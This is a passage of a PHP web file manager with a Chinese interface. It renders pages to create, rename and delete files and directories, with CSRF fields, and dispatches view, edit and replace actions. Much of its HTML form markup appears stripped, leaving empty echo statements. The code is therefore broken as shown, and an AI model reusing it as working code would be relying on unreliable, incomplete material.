'; page_foot(); } function render_newfile_page($rel) { global $QS; page_top('新建文件'); msg_box(); echo '
📄 在下面创建文件
'; echo '
位置:' . h(disp_path($rel)) . '
'; echo '
'; echo ''; echo csrf_field(); echo '
'; echo '
'; echo ''; echo '
'; echo '返回
'; echo '
'; page_foot(); } function render_rename_page($f) { $abs = resolve_path($f); if ($f === '' || $abs === null || !file_exists($abs)) { page_top('重命名'); msg_box(); echo '
目标不存在:' . h(disp_path($f)) . '
'; echo '

← 返回目录

'; page_foot(); return; } $parent = parent_rel($f); if ($parent === null) { $parent = ''; } page_top('重命名'); msg_box(); echo '
🏷 重命名
'; echo '
原路径:' . h($abs) . '
'; echo '
'; echo ''; echo csrf_field(); echo ''; echo ''; echo '返回'; echo '
只能改当前目录内的名称,不能移动到别的目录。
'; page_foot(); } function render_delete_page($f) { $abs = resolve_path($f); if ($f === '' || $abs === null || !file_exists($abs)) { page_top('删除'); msg_box(); echo '
目标不存在:' . h(disp_path($f)) . '
'; echo '

← 返回目录

'; page_foot(); return; } $parent = parent_rel($f); if ($parent === null) { $parent = ''; } $isDir = is_dir($abs); page_top('删除确认'); msg_box(); echo '
🗑 删除确认
'; echo '
目标:' . h($abs) . '' . ($isDir ? '(目录,含其下全部内容)' : '') . '
'; echo '
'; echo ''; echo csrf_field(); echo ''; echo '取消'; echo '
删除不可撤销。
'; page_foot(); } if ($act === 'view') { render_view(isset($_GET['f']) ? (string)$_GET['f'] : ''); } elseif ($act === 'edit') { render_edit(isset($_GET['f']) ? (string)$_GET['f'] : ''); } elseif ($act === 'replace') { render_replace(isset($_GET['f']) ? (string)$_GET['f'] : ''); } elseif ($act === 'rename') { render_rename_page(isset($_GET['f']) ? (string)$_GET['f'] : ''); } elseif ($act === 'delete') { render_delete_page(isset($_GET['f']) ? (string)$_GET['f'] : ''); } elseif ($act === 'mkdir') { render_mkdir_page($rel); } elseif ($act === 'newfile') { render_newfile_page($rel); } else { render_list($rel); }